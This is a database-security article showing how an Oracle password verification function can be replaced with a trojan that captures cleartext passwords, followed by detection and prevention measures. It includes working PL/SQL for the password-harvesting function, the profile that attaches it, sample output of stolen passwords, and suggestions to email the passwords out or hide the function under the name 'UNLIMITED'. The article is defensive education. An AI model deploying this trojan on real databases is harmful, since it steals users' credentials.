Protect Your Passwords

Jared explains how Oracle manages passwords and how "thinking like a hacker" can help you to better protect your databases from potential password theft.

Good security practice dictates that some type of policy should be enforced to ensure that database user account passwords are difficult to guess and changed on a regular basis.

Making a password that is difficult to guess usually requires a combination of letters, punctuation and digits, and it must not spell a word found in the dictionary. A user creating a new password might be required to use something such as so48%319 as a password.

As long ago as Version 8.0 Oracle has had the ability to create a user profile in the database with an function associated with it that could force users to adhere to password policy.

This allowed DBAs, security and application administrators and owners to breath a little easier, knowing that their databases were now able to enforce the company password standards on database accounts. Up to a point anyway, as case of alpha characters still cannot be enforced, as seen here.

07:40:57 hudson - jkstill@ts70 SQL> create user pete identified by "Pete";
User created.

07:40:57 hudson - jkstill@ts70 SQL> select username,password from dba_users
07:40:57   2  where username = 'PETE';

USERNAME   PASSWORD
---------- ------------------------------
PETE       4040619819A9C76E

1 row selected.

07:40:57 hudson - jkstill@ts70 SQL>
07:40:57 hudson - jkstill@ts70 SQL> drop user pete;

User dropped.

07:40:57 hudson - jkstill@ts70 SQL>
07:40:57 hudson - jkstill@ts70 SQL> create user pete identified by "pEtE";

User created.

07:40:57 hudson - jkstill@ts70 SQL> select username,password from dba_users
07:40:57   2  where username = 'PETE';

USERNAME   PASSWORD
---------- ------------------------------
PETE       4040619819A9C76E

1 row selected.

07:40:57 hudson - jkstill@ts70 SQL>

Passwords of the same alpha characters but in different case are clearly stored as the same values.

Though there are other forms of authentication that may be used, the username/password combination is still available and in use on Oracle 10g.

What you should be asking yourself is this: Just how safe are those passwords?

The fact that Oracle allows you to create your own password verification function is both a blessing and something of a curse. It is a blessing for the aforementioned reasons, that is it allows the enforcement of password rules.

The curse? It also allows for the theft of those same passwords.

You've probably heard the old adage "It takes a thief to catch a thief".

While you may not want to turn a hacker loose on your database to look for holes, it doesn't hurt to think like one. If you start thinking in terms of "What methods could I use to compromise this database if I were trying to break into it?", you might be surprise at what you come up with.

Which is precisely what led to the creation of this little hack. It is possible to obtain the password during the process of changing it and store it in a table. It is also possible to simply use UTL_SMTP and simply email the password to an external account. For demonstration purposes however, storing the password in a table will suffice.

The code presented here is based on the stock VERIFY_FUNCTION password verification function that is supplied with Oracle. It is somewhat different in that it not only verifies that passwords comply with policy, it steals them at the same time.

Before beginning, please be sure that if you try out this code, do it in a safe environment on a test database.

The first thing to do is create a table for storing the username/password pairs as seen in Example 1. As this is a demonstration, we will be storing some other information in the table as well.

connect / as sysdba;
drop sequence psnoop_seq;
drop table psnoop;
                                                                                                                      
create sequence psnoop_seq start with 1;
                                                                                                                      
-- 9i
create table psnoop (
  id number(6), 
  username varchar2(30), 
  value varchar(60)
) 
tablespace tools;
                                                                                                                      
-- 10g

create table psnoop (
  id number(6), 
  username varchar2(30), 
  value varchar(60)
) 
tablespace sysaux;

Now create the password verification function while still connected to the database as SYS. The code in Example 2 is similar to what you may have seen when perusing the stock verify_function code with one important difference. There is a local procedure anonymous pwdsnoop that is called several times from the main body of the code. This procedure stores the username/password information as well as some other information that we can use to track the progress of the new password through the code. The stock function is found at $ORACLE_HOME/rdbms/admin/utlpwdmg.sql.

-- This function must be created in SYS schema.
-- connect sys/<password> as sysdba before running the script
 
CREATE OR REPLACE FUNCTION verify_function_test (
  username varchar2,
  password varchar2,
  old_password varchar2
) RETURN boolean
IS
  n boolean;
  m integer;
  differ integer;
  isdigit boolean;
  ischar  boolean;
  ispunct boolean;
  digitarray varchar2(20);
  punctarray varchar2(25);
  chararray varchar2(52);
 
  procedure pwdsnoop( username_in varchar2, value_in varchar2 )
  is
    pragma autonomous_transaction;
  begin
    insert into psnoop (id,username, value) values (psnoop_seq.nextval, username_in, value_in);
    commit;
  end;
 
BEGIN
  digitarray:= '0123456789';
  chararray:= 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  punctarray:='!"#$%&()``*+,-/:;<=>?_';
 
  pwdsnoop(username, '***********************************');
  pwdsnoop(username, 'NEW PASSWORD: '||password);
  -- Check if the password is same as the username
  pwdsnoop(username, 'check for username=password');
  IF NLS_LOWER(password) = NLS_LOWER(username) THEN
    raise_application_error(-20001, 'Password same as or similar to user');
  END IF;
 
  -- Check for the minimum length of the password
  pwdsnoop(username, 'check for password length');
  IF length(password) < 7 THEN
    raise_application_error(-20002, 'Password length less than 7');
  END IF;
 
  -- Check if the password is too simple. A dictionary of words may be
  -- maintained and a check may be made so as not to allow the words
  -- that are too simple for the password.
  pwdsnoop(username, 'check for easy passwords');
  IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user',
                             'password', 'oracle', 'computer', 'abcd') THEN
    raise_application_error(-20002, 'Password too simple');
  END IF;
 
  -- Check if the password contains at least one letter, one digit and one
  -- punctuation mark.
  -- 1. Check for the digit
  isdigit:=FALSE;
  m := length(password);
  pwdsnoop(username, 'checking for digits in password');
  FOR i IN 1..10 LOOP
    FOR j IN 1..m LOOP
      IF substr(password,j,1) = substr(digitarray,i,1) THEN
        isdigit:=TRUE;
        GOTO findchar;
      END IF;
    END LOOP;
  END LOOP;
  IF isdigit = FALSE THEN
    raise_application_error(-20003, 
      'Password should contain at least one digit, one character and one punctuation');
  END IF;
  -- 2. Check for the character
  <<findchar>>
  ischar:=FALSE;
  pwdsnoop(username, 'checking for char in password');
  FOR i IN 1..length(chararray) LOOP
    FOR j IN 1..m LOOP
      IF substr(password,j,1) = substr(chararray,i,1) THEN
        ischar:=TRUE;
        GOTO findpunct;
      END IF;
    END LOOP;
  END LOOP;
  IF ischar = FALSE THEN
    raise_application_error(-20003, 
       'Password should contain at least one digit, one character and one punctuation');
  END IF;
  -- 3. Check for the punctuation
  <<findpunct>>
  ispunct:=FALSE;
  pwdsnoop(username, 'checking for punctuation in password');
  FOR i IN 1..length(punctarray) LOOP
    FOR j IN 1..m LOOP
      IF substr(password,j,1) = substr(punctarray,i,1) THEN
        ispunct:=TRUE;
        GOTO endsearch;
      END IF;
    END LOOP;
  END LOOP;
  IF ispunct = FALSE THEN
    raise_application_error(-20003, 
      'Password should contain at least one digit, one character and one punctuation');
  END IF;
 
  <<endsearch>>
  -- Check if the password differs from the previous password by at least
  -- 3 letters
  pwdsnoop(username, 'checking for password != old_password');
  IF old_password IS NOT NULL THEN
    pwdsnoop(username, 'old_password is NOT null');
    pwdsnoop(username, 'OLD PASSWORD: '||old_password);
    differ := length(old_password) - length(password);
 
    IF abs(differ) < 3 THEN
      IF length(password) < length(old_password) THEN
        m := length(password);
      ELSE
        m := length(old_password);
      END IF;
 
      differ := abs(differ);
      FOR i IN 1..m LOOP
        IF substr(password,i,1) != substr(old_password,i,1) THEN
          differ := differ + 1;
        END IF;
      END LOOP;
 
      IF differ < 3 THEN
        raise_application_error(-20004, 
          'Password should differ by at least 3 characters');
      END IF;
    END IF;
  ELSE
    pwdsnoop(username, 'old_password is null');
  END IF;
  -- Everything is fine; return TRUE ;
  pwdsnoop(username, 'returned TRUE');
  RETURN(TRUE);
END;
/

show error function verify_function_test

Now create a profile that makes use of your new password verication function, and enforces its use when a password is changed.

drop profile pwdhack;
create profile pwdhack limit password_life_time unlimited;
 
alter profile pwdhack limit password_verify_function verify_function_test

Now that your pseudo-hacker code is in place, it's time to try it out.

The first test as seen in Example 3 will be to create a user account that does not use the PWDHACK profile, just as a control item.

drop user hackme;
                                                                                                                      
create user hackme identified by grok
default tablespace users
temporary tablespace temp
/
                                                                                                                    
grant create session to hackme;

Now examine the contents of the PSNOOP table. There will be no rows in it.

23:00:35 hudson - sys@ts70 SQL> l
  1* select * from psnoop order by id
23:00:38 hudson - sys@ts70 SQL> /
 
no rows selected
 
23:00:39 hudson - sys@ts70 SQL>

Now drop the user account and recreate it as shown in Example 4, this time with the PWDHACK profile.

drop user hackme;
                                                                                                                      
create user hackme identified by "grok19*"
profile pwdhack
default tablespace users
temporary tablespace temp
/
                                                                                                                      
grant create session to hackme;

Once again check the contents of the psnoop table:

23:04:29 hudson - sys@ts70 SQL> l
  1* select * from psnoop order by id
23:04:29 hudson - sys@ts70 SQL> /
 
1 HACKME     ***********************************
2 HACKME     NEW PASSWORD: grok19*
3 HACKME     check for username=password
4 HACKME     check for password length
5 HACKME     check for easy passwords
6 HACKME     checking for digits in password
7 HACKME     checking for char in password
8 HACKME     checking for punctuation in password
9 HACKME     checking for password != old_password
10 HACKME     old_password is null
11 HACKME     returned TRUE
 
11 rows selected.
 
23:04:30 hudson - sys@ts70 SQL>

Notice what appears in row number 2. It is the new password for the HACKME account. Every time the verify_function_test function is called, the new password will be stored in the PSNOOP table. Keep in mind this could just as easily been emailed immediately.

Let's run a few more tests. This time let's change the password via both the ALTER USER command and the PASSWORD command as seen in Example 5.

prompt Enter a new valid password for hackme
password hackme
                                                                                                                      
alter user hackme identified by "test123#";

For the password command I entered a password of hjkl1234!. Notice the contents of the PSNOOP table after changing the password via both of these methods. If you are wondering about the discontinuity of the line numbers in these examples, I had to run the SQL a couple of extra times to type the password two times in succession, resulting in the listing of failed password change attempts in the PSNOOP table.

47 HACKME     ***********************************
48 HACKME     NEW PASSWORD: hjkl1234!
49 HACKME     check for username=password
...
56 HACKME     old_password is null
57 HACKME     returned TRUE
58 HACKME     ***********************************
59 HACKME     NEW PASSWORD: test123#
60 HACKME     check for username=password
...
67 HACKME     old_password is null
68 HACKME     returned TRUE

Once again, the new password has been stored in clear text in the PSNOOP table. While this table may appear to be of little value as is, keep in mind that someone may have access to this table without your knowledge of its existence.

While the table is good for demonstration purposes, it is more likely that this kind of intrusion would make use of the UTL_SMTP package and immediately email the password and account information to an external email account.

How would this happen to your database? There are two scenarios that come readily to mind.

The first and possibly the most likely scenario is that the password function would be modified by a company insider with access to the database at a DBA level. This could be a DBA, a developer or a System Administrator.

I will not try to explore 'why would they do this?' aspect of this, just the 'how'. It should be fairly obvious how a DBA, a developer with DBA privileges or a System Administrator could perpetrate this.

The current password verification function would be retrieved from the data dictionary, and a new one put in its place. After collecting a few passwords, the original password verification function could be put back in place, without anyone knowing that the system has been compromised.

Another way for this to happen is for a DBA to be tricked into running the code that will modify and replace the current password verification function with one steals password for the perpetrator. The code might be embedded in some other package that the DBA is asked to run. Some new software, a patch, etc. It is also an easy matter for an attacker to modify $ORACLE_HOME/sqlplus/admin/glogin.sql so that the password verification function would be modified at the next login with sufficient privileges.

It doesn't take too much imagination to develop PL/SQL code that could read the password functions, add a bit of code to catch the passwords when changed and email them to a blind email account owned by the perpetrator.

How can you prevent or detect this kind of activity?

You cannot completely lock out people that may want to do harm to your system, but you can make it an undesirable target, or at least detect in a timely fashion that someone may be stealing your passwords.. Database security is a broad topic which will be addressed here only from the perspective of protecting your passwords.

One method to detect if the password verification function has changed is to regularly get a checksum of its contents, and store it outside the database. Do this on a regular basis, compare the hash to previous values and you will know if the function has changed. Example 6 shows one possible method of collecting a hash value for the function using the DBMS_CRYPTO.HASH_MD5 function. See Metalink document 279169.1 for a complete example of code to store hash values for all PL/SQL code, and verifying the hash values at a later date.

set serveroutput on size 1000000

declare
   hash varchar2(32);
   code clob;
begin
   for frec in (
      select text
      from dba_source
      where owner = 'SYS'
      and type = 'FUNCTION'
      and name = 'VERIFY_FUNCTION_TEST'
      order by line
   )
   loop
      code := code || frec.text;
   end loop;
   hash := rawtohex(
      dbms_crypto.hash (
         typ => dbms_crypto.hash_md5,
         src => code
      )
   );
   dbms_output.put_line('HASH: ' || hash);

end;
/

This detection method could be foiled if the modification to the password verification function were made between periods of hash collection, that is, the function could be modified by an attacker, used to collect some passwords, and then returned back to its previous state prior to the next hash collection period.

This is a good reason for the hash collection routine to be run from outside the database, as it will prevent detection of the collection period via the DBMS_JOBS or DBA_SCHEDULE_JOBS views.

Another method you might use to prevent the modification of the password verification function would be to put in place a DDL trigger that raises an error if it is attempted, and notifies the DBAs via email if that is attempted.

An example DDL trigger appears in Example 7. This will catch attempted modifications to the VERIFY_FUNCTION_TEST trigger and any database PROFILE.

show error trigger verify_trg

07:06:06 hudson - jkstill@ts70 SQL> create or replace trigger verify_trg
07:06:06   2  before create or alter or drop on database
07:06:06   3  begin
07:06:06   4          if ora_dict_obj_name = 'VERIFY_FUNCTION_TEST'
07:06:06   5                  or ora_dict_obj_type = 'PROFILE' then
07:06:06   6                  raise_application_error(-20000,'Action not allowed on verify function');
07:06:06   7          end if;
07:06:06   8  end;
07:06:06   9  /
 
Trigger created.
 
07:06:06 hudson - jkstill@ts70 SQL> drop profile pwdhack cascade;
drop profile pwdhack cascade
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-20000: Action not allowed on verify function
ORA-06512: at line 4

07:07:11 hudson - jkstill@ts70 SQL>

The body of the trigger could be used to send an email so that the DBA will be notified that this attempt has been made. This would be useful as a notification only when someone has limited knowledge of the database. A company DBA for instance would likely have knowledge of this trigger and disable it, then re-enable it after performing nefarious modifications of database objects, limiting its usefulness.

In addition it is a good idea to enable monitoring of the SYS account, as that level of access is required to modify the password verification functions attached to a profile.

  1* alter system set audit_sys_operations=true scope=spfile
08:28:02 hudson - jkstill@ts70 SQL> /

System altered.

08:28:03 hudson - jkstill@ts70 SQL>

It is also important to monitor the names of the functions that are actually attached to a PROFILE. While UNLIMITED is a valid value several PROFILE parameters, it is not valid for the password_verify_function parameter. This makes it possible for a trojan function to be attached to a profile without attracting too much attention.

08:38:21 hudson - jkstill@ts70 SQL> alter profile pwdhack limit password_verify_function "UNLIMITED";

Profile altered.

08:38:23 hudson - jkstill@ts70 SQL>

The "UNLIMITED" function in this case is a trojan designed to steal passwords. The code in Example 8 or a variation might be used to examine the PROFILEs and the password verification functions assigned to them. As seen the in example a function with the name UNLIMITED might raise some suspicion. The accompanying timestamp can also be used to benefit, as a timestamp that is newer than what was recorded during the previous check is cause for concern.

08:45:46 hudson - jkstill@ts70 SQL> l
  1  select a.profile
  2     , a.resource_name
  3     , a.limit
  4     , o.object_name function
  5     , o.last_ddl_time
  6  from dba_profiles a, dba_objects o
  7  where resource_name = 'PASSWORD_VERIFY_FUNCTION'
  8  and o.object_name(+) = a.limit
  9* order by 1,2
08:45:47 hudson - jkstill@ts70 SQL> /
Wed Apr 06                                                                   page    1
                                   Profile Resources for pwdhack

PROFILE    RESOURCE NAME             LIMIT      FUNCTION     LAST_DDL_TIME
---------- ------------------------- ---------- ------------ -------------------
DEFAULT    PASSWORD_VERIFY_FUNCTION  NULL

PWDHACK    PASSWORD_VERIFY_FUNCTION  UNLIMITED  UNLIMITED    04/06/2005 08:31:30


2 rows selected.

08:45:47 hudson - jkstill@ts70 SQL>

It appears that if an attacker gains DBA level access to your database either directly or indirectly there is a very good chance that passwords may be collected from that database and emailed directly to an anonymous email account.

Though there are some methods you may use to detect and prevent this from taking place, they are not 100% effective. If the attack comes from someone already entrusted with the database, harvesting passwords becomes much more difficult to prevent or detect.

Why would someone that already has DBA access to the database need account passwords? This allows the insider to login to the database as an account not associated with the DBA. Doing so does not require saving the encrypted value of the password, changing it temporarily and then changing it back to its original value via alter user username identified by values 'encrypted_value_here', which could be detected, especially in an account that logs in frequently.

In addition to monitoring the hash value for the password verification function you should consider wrapping the function via the $ORACLE_HOME/bin/wrap function. This step will not stop someone from completely replacing the function given the proper access to the database, but it will prevent the modification of the function by an attacker that does not have your source code.

The final solution to this probably lies in doing away with the reliance on passwords altogether and using some form of trusted external authentication, a topic for discussion at another time.

Something not discussed here is the harvesting of encrypted passwords from the DBA_USERS view. These could be stolen and cracked via brute force methods at the attacker's leisure. This too is a subject best tackled at another time.

Acknowledgements

Pete Finnigan for his review of the article and code, and helpful suggestions.

pete@petefinnigan.com

References

Metalink Document 279169.1 -
generate, store and verify hash values for PL/SQL in the database.

Oracle Security Matters -
www.petefinnigan.com

Oracle Database Security Scanner -
http://www.red-database-security.com/repscan.htm